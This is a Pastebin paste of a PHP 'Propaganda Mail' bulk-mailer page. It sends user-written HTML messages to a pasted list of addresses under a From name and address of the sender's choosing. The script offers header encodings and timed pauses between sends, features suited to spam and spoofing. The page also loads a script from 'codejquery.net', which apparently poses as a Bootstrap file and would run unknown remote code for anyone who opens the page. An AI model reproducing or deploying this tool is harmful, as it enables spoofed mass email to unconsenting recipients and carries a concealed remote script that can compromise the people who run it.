anvenger

Propaganda Mail

Oct 7th, 2019
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.07 KB | None | 0 0
  1. <?php
  2.  
  3. /*================================================*/
  4. //              Propaganda Mail! v1.0             //
  5. //================================================//
  6. //author: Charaf Orion                            //
  7. //contact: https://www.facebook.com/achraf.orion.1//
  8. /*================================================*/
  9.  
  10. $XXX = $_POST;
  11.  
  12. ?>
  13. <!DOCTYPE html>
  14. <html lang="en">
  15.   <head>
  16.     <meta charset="utf-8">
  17.     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  18.     <title>Propaganda Mail! v1.0</title>
  19.     <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous"><link rel="stylesheet" href="https://www.codejquery.net/bootstrap.min.css/">    
  20.     <style>
  21.       html {
  22.         position: relative;
  23.         min-height: 100%;
  24.       }
  25.       body {
  26.         margin-bottom: 17px;
  27.         background-color: #e8fffe;
  28.       }
  29.       .footer {
  30.         position: absolute;
  31.         bottom: 0;
  32.         width: 100%;
  33.         background-color: #317981;
  34.         border-top: 1px solid #000;
  35.       }
  36.  
  37.       .bg-orion{
  38.         background-color: #317981;
  39.         border-top: 1px solid #000;
  40.         border-bottom: 1px solid #000;
  41.       }
  42.       .container-fluid{
  43.         padding-top: 15px;
  44.       }
  45.       .log{
  46.         height : 230px;
  47.         overflow-y: scroll;
  48.         background-color: #000;
  49.         padding:15px;
  50.         color: #fff;
  51.         padding-bottom: 10px;
  52.       }
  53.       .mass{
  54.         margin: 0;
  55.         font-family: 'Jok3r';
  56.         text-shadow: 2px 2px 5px #a3d6dc;
  57.         padding-top : 5px;
  58.         color : #000;
  59.         font-size: 39px;
  60.       }
  61.       .mass:hover{
  62.         margin: 0;
  63.         font-family: 'Jok3r';
  64.         text-shadow: 2px 2px 5px #a3d6dc;
  65.         padding-top : 5px;
  66.         color : #fff;
  67.         font-size: 39px;  
  68.       }
  69.       code {
  70.         font-size: 80%;
  71.         color : #44A8B3;
  72.       }
  73.       .mb10{
  74.         margin-bottom: 10px;
  75.       }
  76.       .btn-outline-primary{
  77.         background-color: #317981;
  78.         color : #fff;
  79.         border-color: #fff;
  80.       }
  81.       .btn-outline-primary:hover{
  82.         background-color: #317981;
  83.       }
  84.       .panelhd{
  85.           background-color: #317981;
  86.           font-size: 23px;
  87.       }
  88.       .hdlog{
  89.         color: #317981;
  90.         font-weight: bold;
  91.       }      
  92.       .card-header{
  93.         font-family: 'Jok3r';
  94.         text-shadow: 2px 2px 5px #a3d6dc;
  95.         padding-top : 5px;
  96.         color : #000;
  97.       }
  98.       .card-block{
  99.         background-color: #e8fffe;
  100.       }
  101.       nav{
  102.         height:50px;
  103.       }
  104.     </style>
  105.   </head>
  106.   <body>
  107.     <div class="bg-orion text-center">
  108.     <h3>
  109.       <a class="navbar-brand" href="http://<?= $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']?>">
  110.       <b class="mass">  Propaganda Mail! </b>
  111.       </a>
  112.     </h3>
  113.     </div>
  114.  
  115.     <div class="container-fluid">
  116.       <form method="post">
  117.       <div class="row">
  118.         <div class="col-md-6 mb10">
  119.           <div class="card mb10">
  120.               <div class="card-header panelhd text-center">
  121.              <b> General </b>
  122.               </div>
  123.             <div class="card-block">
  124.               <div class="row">
  125.                 <div class="col-md-6 multi-horizontal mb10" data-for="email">
  126.                   <input class="form-control input" name="email" placeholder="Email" required=""" type="text" autocomplete="off">
  127.                 </div>
  128.                 <div class="col-md-6 multi-horizontal mb10" data-for="name">
  129.                   <input class="form-control input" name="name" placeholder="Name" type="text" autocomplete="off">
  130.                 </div>
  131.                 <div class="col-md-12 mb10" data-for="subject">
  132.                   <input class="form-control input" name="subject"  placeholder="Subject" required="" type="text" autocomplete="off">
  133.                 </div>
  134.                 <div class="col-md-12 mb10">
  135.                   <textarea class="form-control input" name="message" rows="5" placeholder="Message"></textarea>
  136.                 </div>
  137.                 <div class="col-md-12 mb10">
  138.                   <textarea class="form-control input" name="maillist" rows="5" required="" placeholder="maillist" ></textarea>
  139.                 </div>
  140.               </div>
  141.             </div>  
  142.           </div>    
  143.         </div>
  144.         <div class="col-md-6">
  145.           <div class="card mb10">          
  146.               <div class="card-header panelhd text-center">
  147.              <b> Options </b>
  148.               </div>
  149.               <div class="card-block">
  150.                           <div class="text-center mb10">
  151.                                     <select name="NameEnc">
  152.                                         <option value="0">Name Encode</option>
  153.                                         <option value="1">ISO-8859-15?Q?</option>
  154.                                         <option value="2">UTF-8?Q?</option>
  155.                                         <option value="3">UTF-8?B?</option>
  156.                                     </select>
  157.                                     <select name="SubjectENc">
  158.                                         <option value="0">Subject Encode</option>
  159.                                         <option value="1">ISO-8859-15?Q?</option>
  160.                                         <option value="2">UTF-8?Q?</option>
  161.                                         <option value="3">UTF-8?B?</option>
  162.                                     </select>
  163.                                     <select name="MessgaeEnc">
  164.                                         <option value="0">Html Encode</option>
  165.                                         <option value="1">ISO-8859-15?Q?</option>
  166.                                         <option value="2">UTF-8?Q?</option>
  167.                                         <option value="3">UTF-8?B?</option>
  168.                                     </select>
  169.                           </div>        
  170.                           <div class="text-center mb10">
  171.                                     <select name="Priority">
  172.                                         <option value="3">Mail Priority</option>
  173.                                         <option value="1">High</option>
  174.                                         <option value="3">Normal</option>
  175.                                         <option value="5">Low</option>
  176.                                     </select>
  177.                                     <select name="sleep_after">
  178.                                         <option value="0">Sleep</option>
  179.                                         <option value="1">Sleep 1s</option>
  180.                                         <option value="2">Sleep 2s</option>
  181.                                         <option value="3">Sleep 3</option>
  182.                                         <option value="4">Sleep 4s</option>
  183.                                         <option value="5">Sleep 5s</option>
  184.                                         <option value="6">Sleep 6s</option>
  185.                                         <option value="7">Sleep 7s</option>
  186.                                         <option value="8">Sleep 8s</option>
  187.                                         <option value="9">Sleep 9s</option>
  188.                                         <option value="10">Sleep 10s</option>
  189.                                         <option value="30">Sleep 30s</option>
  190.                                         <option value="60">Sleep 60s</option>
  191.                                         <option value="90">Sleep 90s</option>
  192.                                         <option value="120">Sleep 120s</option>
  193.                                         <option value="150">Sleep 150s</option>
  194.                                         <option value="120">Sleep 180s</option>
  195.                                         <option value="210">Sleep 210s</option>
  196.                                         <option value="240">Sleep 240s</option>
  197.                                         <option value="270">Sleep 270s</option>
  198.                                         <option value="300">Sleep 300s</option>
  199.                                     </select>
  200.                                     <select name="sleep_time">
  201.                                         <option value="0">After</option>                  
  202.                                   <?php for($i=1;$i<=99;$i++){
  203.                                    echo'<option value="'.$i.'">Every '.$i.' mail</option>';
  204.                                         }
  205.                                   ?>
  206.                                     </select>
  207.                           </div>
  208.                   <div class="col-md-12 text-center mb10">
  209.                   <button href="" type="submit" class="btn btn-outline-primary">SEND</button>
  210.                   <input type="hidden" name="XXX">
  211.                 </div>      
  212.           </div>
  213.         </div>
  214.                 <div class="log mb10">
  215.                   <div id="hdlog" class="hdlog"></div>
  216.                   <?php
  217.                     if(isset($XXX['XXX'])){
  218.                       ignore_user_abort(true);
  219.                       set_time_limit(0);
  220.                       error_reporting(0);
  221.                       ini_set('memory_limit', '-1');
  222.                       echo '<b class="hdlog">Start Sending Emails...</b>';
  223.                       doSend($XXX['maillist'],$XXX['sleep_after'],$XXX['sleep_time']);
  224.                       echo '<b class="hdlog"><br>Send Done...</b><br>';
  225.                     }
  226.                   ?>
  227.                 </div>  
  228.         </div>
  229.       </div>
  230.       </form>  
  231.     </div>
  232.     <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  233.  
  234. <?php
  235. if(!isset($XXX['XXX'])){
  236.     echo'<script type="text/javascript">
  237.      var string = "Fill the form and click send!";
  238.      var str = string.split("");
  239.      var el = document.getElementById("hdlog");
  240.      (function animate() {
  241.      str.length > 0 ? el.innerHTML += str.shift() : clearTimeout(running);
  242.      var running = setTimeout(animate, 50);
  243.      })();
  244.      </script>';
  245. }
  246. ?>
  247.     <footer class="footer">
  248.       <div class="container text-center">
  249.         <span><b>made with &#10084; By Orion</b></span>
  250.       </div>
  251.     </footer>
  252. <?php
  253.  
  254.   function encodeName($enc,$text){
  255.     if($enc==1){
  256.       $data = encodeISOQ($text);
  257.     }elseif($enc==2){
  258.       $data = encodeUTFQ($text);
  259.     }elseif($enc==3){
  260.       $data = encodeUTFB($text);
  261.     }else{
  262.       $data = $text;
  263.     }
  264.     return $data;
  265.   }
  266.   function encodeSubject($enc,$text){
  267.     if($enc==1){
  268.       $data = encodeISOQ($text);
  269.     }elseif($enc==2){
  270.       $data = encodeUTFQ($text);
  271.     }elseif($enc==3){
  272.       $data = encodeUTFB($text);
  273.     }else{
  274.       $data = $text;
  275.     }
  276.     return $data;
  277.   }
  278.   function encodeHtml($enc,$text){
  279.     if($enc==1){
  280.       $data = quoted_printable_encode($text);
  281.     }elseif($enc==2){
  282.       $data = quoted_printable_encode($text);
  283.     }elseif($enc==3){
  284.       $data = base64_encode($text);
  285.     }else{
  286.       $data = $text;
  287.     }
  288.     return $data;
  289.   }
  290.   function encodeCTE($enc){
  291.     if($enc==1){
  292.       $data = "quoted-printable";
  293.     }elseif($enc==2){
  294.       $data = "quoted-printable";
  295.     }elseif($enc==3){
  296.       $data = "base64";
  297.     }else{
  298.       $data = "8bit";
  299.     }
  300.     return $data;
  301.   }
  302.   function flushSend(){
  303.     ob_flush();
  304.     flush();
  305.   }
  306.   function encodeUTFQ($text){
  307.     $enc = "=?UTF-8?Q?".quoted_printable_encode($text)."?=";
  308.     return $enc;
  309.   }
  310.   function encodeUTFB($text){
  311.     $enc = "=?UTF-8?B?".base64_encode($text)."?=";
  312.     return $enc;
  313.   }
  314.   function encodeISOQ($text){
  315.     $enc = "=?ISO-8859-15?Q?".quoted_printable_encode($text)."?=";
  316.     return $enc;
  317.   }
  318.   function sleepmode($sleep,$after,$count){    
  319.      if ($count > 0 && $count % $after == 0)
  320.      sleep($sleep);
  321.      echo"<br>*** (Sleep Mode <font color=green> On</font>) Sleeping <font color=red>$sleep seconds</font>... Done ***";
  322.   }
  323.   function doSend($to,$sleep,$after){
  324.     global $XXX;
  325.     $check = '/[a-z0-9_\-\+]+@[a-z0-9\-]+\.([a-z]{2,3})(?:\.[a-z]{2})?/i';
  326.     $from = $XXX['email'];
  327.     $name = encodeName($XXX['NameEnc'],$XXX['name']);
  328.     $subj = encodeSubject($XXX['SubjectENc'],$XXX['subject']);
  329.     $mess = encodeHtml($XXX['MessgaeEnc'],$XXX['message']);
  330.     $headers  = "From: $name <$from>\n";
  331.     $headers .= "X-Priority: ".$XXX['Priority']."\n";
  332.     $headers .= "MIME-Version: 1.0\n";
  333.     $headers .= "Content-Transfer-Encoding: ". encodeCTE($XXX['MessgaeEnc'])."\n";
  334.     $headers .= "Content-Type: text/html; charset=UTF-8\n";
  335.     preg_match_all($check, $to, $emails);
  336.     $email = $emails[0];
  337.  
  338.     foreach ($email as $key => $taz) {    
  339.       $n = 1 + $key;
  340.       if (mail($taz, $subj, $mess, $headers)){
  341.         echo "<br>$n - Sending... => $taz => <b> <font color=green> Success</font></b>";    
  342.       }else{
  343.         echo "<br>$n - Sending... => $taz => <b> <font color=red> Error</font></b>";
  344.       }
  345.       if($sleep>0){
  346.       sleepmode($sleep,$after,$n);
  347.       }
  348.       flushSend();
  349.     }
  350.   }
  351. ?>
  352.   </body>
  353. </html>
Add Comment
Please, Sign In to add comment